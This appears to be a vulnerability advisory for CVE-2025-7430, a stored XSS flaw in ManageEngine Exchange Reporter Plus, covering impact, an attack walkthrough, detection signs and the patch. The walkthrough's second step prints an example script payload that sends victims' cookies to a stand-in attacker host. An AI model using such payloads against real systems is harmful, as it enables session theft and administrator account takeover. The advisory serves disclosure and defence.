CVE-2025-7430: 
Zoho ManageEngine Exchange Reporter Plus vulnerability analysis and mitigation

CVE-2025-7430 is a Stored Cross-Site Scripting (XSS) vulnerability in Zohocorp ManageEngine Exchange Reporter Plus affecting build 5723 and all earlier versions (including all 5.6.x and 5.7.x builds up to 5723). The vulnerability exists in the Folder Message Count and Size report feature and was publicly disclosed on November 11, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium), though the vendor's advisory classifies its severity as High due to the potential impact of account privilege escalation (ManageEngine Advisory, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and arises from insufficient sanitization of user-supplied input within the Folder Message Count and Size report in ManageEngine Exchange Reporter Plus (ManageEngine Advisory). An authenticated attacker with low privileges can inject malicious JavaScript into report data that is persistently stored and later rendered in the browser of any user (including administrators) who views the affected report. Exploitation requires network access, low privileges, and user interaction (a victim viewing the compromised report), with the scope changing to affect the victim's browser session. The vulnerability was discovered by researcher Ngockhanhc311 from FPT NightWolf (ManageEngine Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session when they view the malicious report. According to the vendor, this vulnerability could allow attackers to create a privileged account and gain unauthorized access to the application, potentially escalating from a low-privileged user to an administrator (ManageEngine Advisory). Confidentiality and integrity impacts are both rated Low at the individual level, but the changed scope means the attack can affect resources beyond the attacker's own session, including session token theft and unauthorized administrative actions.

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-7430. The EPSS score is approximately 0.03% (0.000300), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least low-level privileges, which limits the attack surface compared to unauthenticated vulnerabilities (ManageEngine Advisory).

1. Reconnaissance: Identify a ManageEngine Exchange Reporter Plus instance running build 5723 or earlier. Obtain or create a low-privileged user account on the application.
2. Inject malicious payload: Navigate to the Folder Message Count and Size report feature and inject a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a report field that is stored server-side.
3. Wait for victim interaction: The malicious script is persistently stored. When an administrator or privileged user views the affected report, the injected script executes in their browser context.
4. Harvest session tokens or escalate privileges: The script can steal session cookies, perform actions on behalf of the victim (such as creating a new privileged account), or redirect the victim to an attacker-controlled page, achieving unauthorized administrative access (ManageEngine Advisory).

• Logs: Unexpected account creation events in Exchange Reporter Plus audit logs, particularly accounts created without a corresponding administrative action; access log entries showing unusual report views followed by outbound requests to external domains.
• Network: Outbound HTTP/HTTPS requests from administrator browsers to unknown external IP addresses or domains immediately after viewing Exchange Reporter Plus reports; unusual DNS queries originating from client machines accessing the application.
• Application: Presence of JavaScript payloads (e.g., <script> tags, encoded XSS strings) in stored report data within the Folder Message Count and Size report; unexpected new user accounts with elevated privileges in the Exchange Reporter Plus user management interface.

Zohocorp released a fix in Exchange Reporter Plus build 5724, made available on July 25, 2025. All users running build 5723 or earlier are strongly advised to update immediately by downloading the latest service pack from the ManageEngine website and applying it to their existing installation. No configuration-based workaround is provided by the vendor; upgrading to build 5724 or later is the only recommended remediation (ManageEngine Advisory). For assistance, users can contact support@exchangereporterplus.com.

Heise (a German technology news outlet) covered the vulnerability as part of a broader report on multiple ManageEngine security issues (Heise). The vulnerability was also tracked by community vulnerability aggregators including CIRCL Vulnerability Lookup and CVEFeed. No significant independent researcher commentary or social media discussion beyond standard CVE tracking has been observed for this specific issue.